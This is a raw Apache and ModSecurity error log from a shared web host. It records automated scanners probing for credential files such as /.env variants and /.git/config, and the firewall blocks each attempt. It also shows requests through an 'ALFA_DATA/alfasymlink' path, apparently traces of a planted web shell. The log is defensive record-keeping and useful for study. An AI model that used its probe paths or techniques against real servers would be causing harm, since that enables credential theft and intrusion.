[Sun Oct 25 13:48:58.437686 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at5BCrc82c1J4zoyxalWXwAAAAI"]
[Sun Oct 25 13:48:58.583293 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "at5BCrc82c1J4zoyxalWYAAAAAI"]
[Sun Oct 25 13:48:58.583563 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "at5BCrc82c1J4zoyxalWYAAAAAI"]
[Sun Oct 25 13:48:58.583905 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "at5BCrc82c1J4zoyxalWYAAAAAI"]
[Sun Oct 25 13:48:58.734952 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at5BCrc82c1J4zoyxalWYQAAAAI"]
[Sun Oct 25 13:48:58.735174 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at5BCrc82c1J4zoyxalWYQAAAAI"]
[Sun Oct 25 13:48:58.735493 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at5BCrc82c1J4zoyxalWYQAAAAI"]
[Sun Oct 25 13:48:58.880043 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at5BCrc82c1J4zoyxalWYgAAAAI"]
[Sun Oct 25 13:48:58.880263 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at5BCrc82c1J4zoyxalWYgAAAAI"]
[Sun Oct 25 13:48:58.880604 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at5BCrc82c1J4zoyxalWYgAAAAI"]
[Sun Oct 25 13:48:59.024892 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at5BC7c82c1J4zoyxalWYwAAAAI"]
[Sun Oct 25 13:48:59.025132 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at5BC7c82c1J4zoyxalWYwAAAAI"]
[Sun Oct 25 13:48:59.025489 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at5BC7c82c1J4zoyxalWYwAAAAI"]
[Sun Oct 25 13:48:59.169135 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at5BC7c82c1J4zoyxalWZAAAAAI"]
[Sun Oct 25 13:48:59.169377 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at5BC7c82c1J4zoyxalWZAAAAAI"]
[Sun Oct 25 13:48:59.169754 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "at5BC7c82c1J4zoyxalWZAAAAAI"]
[Sun Oct 25 13:48:59.313443 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at5BC7c82c1J4zoyxalWZQAAAAI"]
[Sun Oct 25 13:48:59.313686 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at5BC7c82c1J4zoyxalWZQAAAAI"]
[Sun Oct 25 13:48:59.314019 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at5BC7c82c1J4zoyxalWZQAAAAI"]
[Sun Oct 25 13:48:59.457935 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.swp"] [unique_id "at5BC7c82c1J4zoyxalWZgAAAAI"]
[Sun Oct 25 13:48:59.458169 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.swp"] [unique_id "at5BC7c82c1J4zoyxalWZgAAAAI"]
[Sun Oct 25 13:48:59.458505 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.swp"] [unique_id "at5BC7c82c1J4zoyxalWZgAAAAI"]
[Sun Oct 25 13:49:06.172679 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 54.163.169.168:1305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:10.149712 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.221.50.71:57646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:14.235708 2026] [ssl:error] [pid 2870916:tid 2870916] (5)Input/output error: [client 34.192.67.98:13798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:18.200328 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 52.5.232.250:40636] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:22.167853 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 44.205.192.249:9418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:30.176749 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 34.205.163.103:2260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:42.157689 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 3.222.190.107:34972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:50.527629 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.54.157.23:22679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:49:51.857150 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.2:23000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/validate
[Sun Oct 25 13:49:54.150845 2026] [core:error] [pid 2873114:tid 2873114] (13)Permission denied: [client 18.208.11.93:61296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/shpchp/new_id
[Sun Oct 25 13:49:58.181026 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 44.218.6.93:46092] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:50:06.237620 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 54.87.95.7:56799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:50:06.733465 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 185.191.171.14:31618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/free_calls
[Sun Oct 25 13:50:14.240047 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.216.86.144:32027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:50:30.315773 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 85.208.96.201:14844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:50:38.173641 2026] [ssl:error] [pid 2867879:tid 2867879] (5)Input/output error: [client 3.223.181.32:60805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:50:42.302489 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.200.251.20:55018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:51:02.420366 2026] [core:error] [pid 2862822:tid 2862822] (13)Permission denied: [client 85.208.96.200:21396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/objects_partial
[Sun Oct 25 13:51:10.149386 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 35.172.125.172:52191] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:51:22.277530 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 98.83.72.38:1428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory12/node0/memory7/subsystem/uevent
[Sun Oct 25 13:51:26.177887 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 18.213.70.100:24197] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:51:30.220864 2026] [ssl:error] [pid 2873159:tid 2873159] (5)Input/output error: [client 34.197.28.78:23703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:51:34.146995 2026] [core:error] [pid 2873042:tid 2873042] (13)Permission denied: [client 52.54.15.103:52435] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/resource4_wc
[Sun Oct 25 13:51:38.173666 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.226.34.98:57783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:51:54.165643 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.212.232.231:32212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:51:58.177876 2026] [ssl:error] [pid 2873114:tid 2873114] (70014)End of file found: [client 54.84.169.196:60423] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:01.501533 2026] [core:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 185.191.171.15:55810] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAW/object_size
[Sun Oct 25 13:52:06.160380 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 44.221.105.234:7934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:14.166165 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 100.28.118.16:28807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:27.591820 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 85.208.96.193:45582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:30.145569 2026] [ssl:error] [pid 2873042:tid 2873042] (70014)End of file found: [client 50.19.221.48:51868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:38.179750 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 52.45.29.57:7042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:54.272181 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 52.45.92.83:5827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:52:58.152724 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 44.206.93.215:62958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:53:14.134795 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 98.83.8.142:64739] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:53:19.139898 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.204.12.115:52619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:53:34.209251 2026] [core:error] [pid 2873042:tid 2873042] (13)Permission denied: [client 52.202.52.82:31204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup0/device/physical_node/firmware_node/physical_node/remove
[Sun Oct 25 13:53:38.149129 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 35.169.240.53:60136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:53:42.261357 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 44.212.232.231:50321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:53:50.163379 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 54.90.244.132:48057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:53:51.693789 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.15:10726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/validate
[Sun Oct 25 13:54:03.507465 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 85.208.96.196:23244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:54:05.876417 2026] [core:error] [pid 2873134:tid 2873134] (13)Permission denied: [client 85.208.96.208:49142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objects
[Sun Oct 25 13:54:07.691390 2026] [authz_core:error] [pid 2867834:tid 2867834] [client 85.217.149.41:39574] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:54:14.177408 2026] [ssl:error] [pid 2873042:tid 2873042] (70014)End of file found: [client 18.214.238.178:51231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:54:30.169487 2026] [ssl:error] [pid 2873114:tid 2873114] (70014)End of file found: [client 54.198.33.233:57797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:54:42.335901 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 44.205.120.22:31497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:54:46.182853 2026] [ssl:error] [pid 2874540:tid 2874540] (70014)End of file found: [client 34.194.165.45:22740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:54:50.179884 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 44.221.227.90:4431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:55:10.137857 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 3.225.9.97:52602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/new_id
[Sun Oct 25 13:55:14.169162 2026] [ssl:error] [pid 2873136:tid 2873136] (70014)End of file found: [client 98.83.10.183:54408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:55:18.193195 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 50.16.216.166:11024] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:55:22.226982 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 3.213.85.234:3806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:55:26.328031 2026] [ssl:error] [pid 2873114:tid 2873114] (70014)End of file found: [client 3.217.82.254:46874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:55:42.142544 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 3.94.199.128:45818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/LNXCPU:00/thermal_cooling/device/physical_node/driver/cpu0/node0/compact
[Sun Oct 25 13:55:54.168880 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.213.213.161:38726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:55:58.148941 2026] [ssl:error] [pid 2874705:tid 2874705] (70014)End of file found: [client 23.21.148.226:3803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:56:02.477960 2026] [security2:error] [pid 2873159:tid 2873159] [client 172.70.248.146:10159] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5Csv1CbQghwAu-zzMCFQAAACA"]
[Sun Oct 25 13:56:02.478257 2026] [security2:error] [pid 2873159:tid 2873159] [client 172.70.248.146:10159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5Csv1CbQghwAu-zzMCFQAAACA"]
